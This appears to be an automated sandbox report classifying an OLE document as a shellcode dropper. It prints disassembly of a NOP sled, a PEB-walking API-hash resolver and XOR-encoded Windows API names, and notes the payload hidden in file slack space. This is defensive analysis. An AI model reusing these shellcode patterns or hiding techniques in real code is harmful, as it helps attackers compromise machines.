MALICIOUS
300
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1203 Exploitation for Client Execution
The file is an OLE document with significant slack space and an appended executable payload, suggesting it's a dropper. Heuristics indicate the presence of NOP sleds, PEB access, API hash resolvers, and XOR-encoded strings, all common in shellcode. The appended payload and shellcode-like resolver strongly suggest the file's primary purpose is to execute a secondary stage. No specific family is identifiable from the provided evidence.
Heuristics 7
-
XOR-encoded strings (key 0xFF) critical SC_XOR_ENCODEDFound 8 Windows library/API name(s) XOR-encoded with single-byte key 0xFF: 'KERNEL32.DLL', 'ADVAPI32.DLL', 'LoadLibraryA', 'GetProcAddress', 'VirtualAlloc', 'VirtualProtect', 'ExitProcess ', 'CreateFileA '
Disassembly
Attempted x86 opcode disassembly00005098 b4ba mov ah, 0xba 0000509A ad lodsd eax, dword ptr [esi] 0000509B b1ba mov cl, 0xba 0000509D b3cc mov bl, 0xcc 0000509F cdd1 int 0xd1 000050A1 bbb3b3ffbe mov ebx, 0xbeffb3b3 000050A6 bba9beafb6 mov ebx, 0xb6afbea9 000050AB cc int3 000050AC cdd1 int 0xd1 000050AE bbb3b3ffb2 mov ebx, 0xb2ffb3b3 000050B3 ac lodsb al, byte ptr [esi] 000050B4 a9bcadabd1 test eax, 0xd1abadbc 000050B9 bbb3b3ffff mov ebx, 0xffffb3b3 000050BE ffb3909e9bb3 push dword ptr [ebx - 0x4c646170] 000050C4 96 xchg esi, eax 000050C5 9d popfd 000050C6 8d9e8d86beff lea ebx, [esi - 0x417973] 000050CC ff .byte 0xff 000050CD ff .byte 0xff 000050CE b89a8baf8d mov eax, 0x8daf8b9a 000050D3 90 nop 000050D4 9c pushfd 000050D5 be9b9b8d9a mov esi, 0x9a8d9b9b 000050DA 8c8cffffffa996 mov word ptr [edi + edi*8 - 0x69560001], cs 000050E1 8d8b8a9e93af lea ecx, [ebx - 0x506c6176] 000050E7 8d908b9a9c8b lea edx, [eax - 0x74636575] 000050ED ff .byte 0xff 000050EE ff .byte 0xff 000050EF ffa9968d8b8a jmp ptr [ecx - 0x7574726a] 000050F5 9e sahf 000050F6 93 xchg ebx, eax 000050F7 be .byte 0xbe
-
NOP sled detected high SC_NOP_SLEDFound 20+ consecutive 0x90 bytes
Disassembly
Attempted x86 opcode disassembly00000449 90 nop 0000044A 90 nop 0000044B 90 nop 0000044C 90 nop 0000044D 90 nop 0000044E 90 nop 0000044F 90 nop 00000450 90 nop 00000451 90 nop 00000452 90 nop 00000453 90 nop 00000454 90 nop 00000455 90 nop 00000456 90 nop 00000457 90 nop 00000458 90 nop 00000459 90 nop 0000045A 90 nop 0000045B 90 nop 0000045C 90 nop 0000045D 90 nop 0000045E 90 nop 0000045F 90 nop 00000460 90 nop 00000461 90 nop 00000462 90 nop 00000463 90 nop 00000464 90 nop 00000465 90 nop 00000466 90 nop 00000467 90 nop 00000468 90 nop 00000469 90 nop 0000046A 90 nop 0000046B 90 nop 0000046C 90 nop 0000046D 90 nop 0000046E 90 nop 0000046F 90 nop 00000470 90 nop 00000471 90 nop 00000472 90 nop 00000473 90 nop 00000474 90 nop 00000475 90 nop 00000476 90 nop 00000477 90 nop 00000478 90 nop 00000479 40 inc eax 0000047A 90 nop 0000047B 4e dec esi 0000047C 56 push esi 0000047D ff550c call dword ptr [ebp + 0xc] 00000480 55 push ebp 00000481 8bec mov ebp, esp 00000483 51 push ecx 00000484 53 push ebx 00000485 8b7d08 mov edi, dword ptr [ebp + 8] 00000488 eb09 jmp 0x493 0000048A ff .byte 0xff 0000048B ff .byte 0xff 0000048C ff .byte 0xff 0000048D ff .byte 0xff 0000048E ff .byte 0xff 0000048F ff .byte 0xff 00000490 ff9090908b5d call dword ptr [eax + 0x5d8b9090] 00000496 0c56 or al, 0x56 00000498 8b733c mov esi, dword ptr [ebx + 0x3c] 0000049B 8b741e78 mov esi, dword ptr [esi + ebx + 0x78] 0000049F 03f3 add esi, ebx 000004A1 56 push esi 000004A2 8b7620 mov esi, dword ptr [esi + 0x20] 000004A5 03f3 add esi, ebx 000004A7 33c9 xor ecx, ecx
-
PEB access via FS segment (x86) high SC_PEB_ACCESSPEB access via FS segment (x86)
Disassembly
Attempted x86 opcode disassembly000003B3 64a130000000 mov eax, dword ptr fs:[0x30] 000003B9 8b400c mov eax, dword ptr [eax + 0xc] 000003BC 8b701c mov esi, dword ptr [eax + 0x1c] 000003BF ad lodsd eax, dword ptr [esi] 000003C0 8b7008 mov esi, dword ptr [eax + 8] 000003C3 81ec00070000 sub esp, 0x700 000003C9 8bec mov ebp, esp 000003CB e912010000 jmp 0x4e2 000003D0 5b pop ebx 000003D1 33c9 xor ecx, ecx 000003D3 b10c mov cl, 0xc 000003D5 56 push esi 000003D6 ff33 push dword ptr [ebx] 000003D8 e8a3000000 call 0x480 000003DD 89448d00 mov dword ptr [ebp + ecx*4], eax 000003E1 83c304 add ebx, 4 000003E4 e2ef loop 0x3d5 000003E6 33f6 xor esi, esi 000003E8 bfe82d0000 mov edi, 0x2de8 000003ED c74554c20f0300 mov dword ptr [ebp + 0x54], 0x30fc2 000003F4 037d54 add edi, dword ptr [ebp + 0x54] 000003F7 897558 mov dword ptr [ebp + 0x58], esi 000003FA 83455804 add dword ptr [ebp + 0x58], 4 000003FE 56 push esi 000003FF ff7558 push dword ptr [ebp + 0x58] 00000402 ff552c call dword ptr [ebp + 0x2c] 00000405 3bc7 cmp eax, edi 00000407 740b je 0x414 00000409 817d5800000100 cmp dword ptr [ebp + 0x58], 0x10000 00000410 7432 je 0x444 00000412 eb .byte 0xeb
-
PEB API-hash resolver high SC_API_HASH_RESOLVERPEB access followed by ROR13-style API hashing, a common position-independent shellcode import resolver
Disassembly
Attempted x86 opcode disassembly000003B3 64a130000000 mov eax, dword ptr fs:[0x30] 000003B9 8b400c mov eax, dword ptr [eax + 0xc] 000003BC 8b701c mov esi, dword ptr [eax + 0x1c] 000003BF ad lodsd eax, dword ptr [esi] 000003C0 8b7008 mov esi, dword ptr [eax + 8] 000003C3 81ec00070000 sub esp, 0x700 000003C9 8bec mov ebp, esp 000003CB e912010000 jmp 0x4e2 000003D0 5b pop ebx 000003D1 33c9 xor ecx, ecx 000003D3 b10c mov cl, 0xc 000003D5 56 push esi 000003D6 ff33 push dword ptr [ebx] 000003D8 e8a3000000 call 0x480 000003DD 89448d00 mov dword ptr [ebp + ecx*4], eax 000003E1 83c304 add ebx, 4 000003E4 e2ef loop 0x3d5 000003E6 33f6 xor esi, esi 000003E8 bfe82d0000 mov edi, 0x2de8 000003ED c74554c20f0300 mov dword ptr [ebp + 0x54], 0x30fc2 000003F4 037d54 add edi, dword ptr [ebp + 0x54] 000003F7 897558 mov dword ptr [ebp + 0x58], esi 000003FA 83455804 add dword ptr [ebp + 0x58], 4 000003FE 56 push esi 000003FF ff7558 push dword ptr [ebp + 0x58] 00000402 ff552c call dword ptr [ebp + 0x2c] 00000405 3bc7 cmp eax, edi 00000407 740b je 0x414 00000409 817d5800000100 cmp dword ptr [ebp + 0x58], 0x10000 00000410 7432 je 0x444 00000412 eb .byte 0xeb
-
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 212,394 bytes but its declared streams total only 8,298 bytes — 204,096 bytes (96%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
-
OLE file has appended executable-looking payload bytes high OLE_APPENDED_PAYLOADOLE compound file contains a large high-entropy region beyond the declared major streams and that region includes shellcode, PE, or loader API markers. This is a payload-carrier signal, not a specific CVE attribution by itself.
-
OLE file contains raw shellcode-like resolver payload high OLE_RAW_SHELLCODE_PAYLOADMalformed or legacy OLE file contains raw PEB/API-resolver shellcode bytes at the file level, including loader-walk instructions and a nearby payload marker. This indicates an exploit payload carrier but does not identify a specific parser CVE.
Open this report in the interactive analyzer, or submit your own file for analysis.